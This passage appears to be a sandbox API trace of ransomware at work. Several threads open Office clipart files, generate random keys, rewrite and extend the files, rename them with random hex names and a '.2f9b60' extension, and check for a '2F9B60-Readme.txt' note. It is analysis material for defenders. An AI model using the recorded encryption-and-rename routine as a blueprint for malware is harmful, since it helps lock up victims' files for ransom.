0x1b85fd90 [0108.822] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.822] WriteFile (in: hFile=0x1498, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a9dfb10, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2a9dfb10*=0x10a, lpOverlapped=0x0) returned 1 [0108.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0108.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0108.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0108.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.824] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="fb") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="53") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="d7") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="df") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="fd") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="c1") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="0f") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="3e") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="ce") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="a9") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="2a") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="2b") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="58") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="31") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="90") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="ef") returned 2 [0108.824] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="a9") returned 2 [0108.825] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="23") returned 2 [0108.825] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="80") returned 2 [0108.825] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="1f") returned 2 [0108.825] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="27") returned 2 [0108.825] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="32") returned 2 [0108.825] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="f0") returned 2 [0108.825] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="2d") returned 2 [0108.825] RtlInitAnsiString (in: DestinationString=0x2a9dfb88, SourceString="fb53d7dffdc10f3ecea92a2b583190efa923801f2732f02d" | out: DestinationString="fb53d7dffdc10f3ecea92a2b583190efa923801f2732f02d") [0108.825] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a9dfb58, SourceString="fb53d7dffdc10f3ecea92a2b583190efa923801f2732f02d", AllocateDestinationString=1 | out: DestinationString="fb53d7dffdc10f3ecea92a2b583190efa923801f2732f02d") returned 0x0 [0108.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9630 [0108.825] wcscat (in: _Dest=0x20501170, _Source="fb53d7dffdc1" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1" [0108.825] wcscat (in: _Dest=0x20501170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60" [0108.825] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60", NtPathName=0x2a9dfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060cb0 [0108.826] NtSetInformationFile (FileHandle=0x1498, IoStatusBlock=0x2a9dfbd0, FileInformation=0x42060cb0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0110.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202665e0) returned 1 [0110.100] NtQueryInformationFile (in: FileHandle=0x1498, IoStatusBlock=0x2a9dfb98, FileInformation=0x2a9dfba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a9dfb98, FileInformation=0x2a9dfba8) returned 0x0 [0110.100] NtSetInformationFile (FileHandle=0x1498, IoStatusBlock=0x2a9dfb98, FileInformation=0x2a9dfba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501170) returned 1 [0110.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9630) returned 1 [0110.113] FlushFileBuffers (hFile=0x1498) returned 1 [0110.140] CloseHandle (hObject=0x1498) returned 1 [0110.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20501210 [0110.142] wcscpy (in: _Dest=0x20501210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.142] wcscat (in: _Dest=0x20501210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501210) returned 1 [0110.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4aba0) returned 1 Thread: id = 669 os_tid = 0x1158 [0096.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0107.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF", dwFileAttributes=0x20) returned 1 [0108.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1494 [0108.770] GetFileSizeEx (in: hFile=0x1494, lpFileSize=0x2ad3fd20 | out: lpFileSize=0x2ad3fd20*=3026) returned 1 [0108.770] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0xbce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.770] ReadFile (in: hFile=0x1494, lpBuffer=0x2ad3fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ad3fce8, lpOverlapped=0x0 | out: lpBuffer=0x2ad3fca0*, lpNumberOfBytesRead=0x2ad3fce8*=0x4, lpOverlapped=0x0) returned 1 [0108.775] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.776] NtQuerySystemTime (in: CurrentTime=0x2ad3fbe0 | out: CurrentTime=0x2ad3fbe0*=132462177142618000) returned 0x0 [0108.776] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x71c2bede [0108.776] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x55e2bc5b [0108.776] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x6156a333 [0108.776] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x7756d84 [0108.776] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x26cfa1c1 [0108.776] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x28e5832 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x5486fc96 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x304ff1ac [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x22705553 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x513e7d1d [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x78fe2316 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x5991f623 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x10f18b32 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x264f1781 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x256c0ea0 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x33bcb141 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x126f08ab [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x162c015f [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x46303e72 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x4e7058ac [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x6e926972 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x21a46d06 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x27255341 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x5d599e0e [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x47156bee [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x40f50c89 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x13b545e [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x3f60252c [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x7ad05ac2 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x19c3041 [0108.777] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x1260a51a [0108.778] RtlRandomEx (in: Seed=0x2ad3fbd0 | out: Seed=0x2ad3fbd0) returned 0x222aae3c [0108.787] ReadFile (in: hFile=0x1494, lpBuffer=0x41e75950, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x2ad3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesRead=0x2ad3fbd0*=0xbd2, lpOverlapped=0x0) returned 1 [0108.787] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.787] WriteFile (in: hFile=0x1494, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0xbd2, lpNumberOfBytesWritten=0x2ad3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2ad3fbd4*=0xbd2, lpOverlapped=0x0) returned 1 [0108.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0108.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0108.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0108.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860540 [0108.797] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.797] WriteFile (in: hFile=0x1494, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ad3fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2ad3fcf0*=0x10a, lpOverlapped=0x0) returned 1 [0108.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861200) returned 1 [0108.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0108.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.819] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="1a") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="6f") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="88") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="92") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="02") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="32") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="2a") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="1a") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="53") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="72") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="82") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="7f") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="a9") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="e7") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="d7") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="88") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="4e") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="f0") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="92") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="4e") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="67") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="f2") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="43") returned 2 [0108.820] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ff") returned 2 [0108.820] RtlInitAnsiString (in: DestinationString=0x2ad3fd68, SourceString="1a6f889202322a1a5372827fa9e7d7884ef0924e67f243ff" | out: DestinationString="1a6f889202322a1a5372827fa9e7d7884ef0924e67f243ff") [0108.820] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ad3fd38, SourceString="1a6f889202322a1a5372827fa9e7d7884ef0924e67f243ff", AllocateDestinationString=1 | out: DestinationString="1a6f889202322a1a5372827fa9e7d7884ef0924e67f243ff") returned 0x0 [0108.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced96a0 [0108.820] wcscat (in: _Dest=0x205010d0, _Source="1a6f88920232" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1a6f88920232") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1a6f88920232" [0108.821] wcscat (in: _Dest=0x205010d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1a6f88920232.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1a6f88920232.2f9b60" [0108.821] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1a6f88920232.2f9b60", NtPathName=0x2ad3fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1a6f88920232.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060bf0 [0108.821] NtSetInformationFile (FileHandle=0x1494, IoStatusBlock=0x2ad3fdb0, FileInformation=0x42060bf0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060bf0) returned 1 [0110.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264dd0) returned 1 [0110.101] NtQueryInformationFile (in: FileHandle=0x1494, IoStatusBlock=0x2ad3fd78, FileInformation=0x2ad3fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ad3fd78, FileInformation=0x2ad3fd88) returned 0x0 [0110.101] NtSetInformationFile (FileHandle=0x1494, IoStatusBlock=0x2ad3fd78, FileInformation=0x2ad3fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205010d0) returned 1 [0110.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced96a0) returned 1 [0110.111] FlushFileBuffers (hFile=0x1494) returned 1 [0110.116] CloseHandle (hObject=0x1494) returned 1 [0110.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500f90 [0110.118] wcscpy (in: _Dest=0x20500f90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.118] wcscat (in: _Dest=0x20500f90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500f90) returned 1 [0110.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ac30) returned 1 Thread: id = 670 os_tid = 0x115c [0096.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0107.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", dwFileAttributes=0x20) returned 1 [0108.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17b4 [0108.748] GetFileSizeEx (in: hFile=0x17b4, lpFileSize=0x2aecfc80 | out: lpFileSize=0x2aecfc80*=4734) returned 1 [0108.748] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x127a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.748] ReadFile (in: hFile=0x17b4, lpBuffer=0x2aecfc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2aecfc48, lpOverlapped=0x0 | out: lpBuffer=0x2aecfc00*, lpNumberOfBytesRead=0x2aecfc48*=0x4, lpOverlapped=0x0) returned 1 [0108.756] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0108.756] NtQuerySystemTime (in: CurrentTime=0x2aecfb40 | out: CurrentTime=0x2aecfb40*=132462177142462000) returned 0x0 [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x43a3e09c [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x45368487 [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x38e2eea7 [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x35af104c [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x1842e6ca [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x4fa87d36 [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x326ca83f [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x5cd56fd0 [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0xe3b2e56 [0108.756] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x2f20d3c9 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x7190a4b3 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x3c25aafa [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x386f7c6f [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x745c2b4e [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x7536bbb1 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x53165d7d [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x4fa3617 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x277b04c1 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x3959aa2c [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x14d8cf98 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x3c27a34a [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x43a2b02a [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x70d9d910 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x58aae09a [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x5184f437 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x28bf8d72 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x379ae238 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x79be4c7a [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x709e9f1e [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x284e5702 [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: 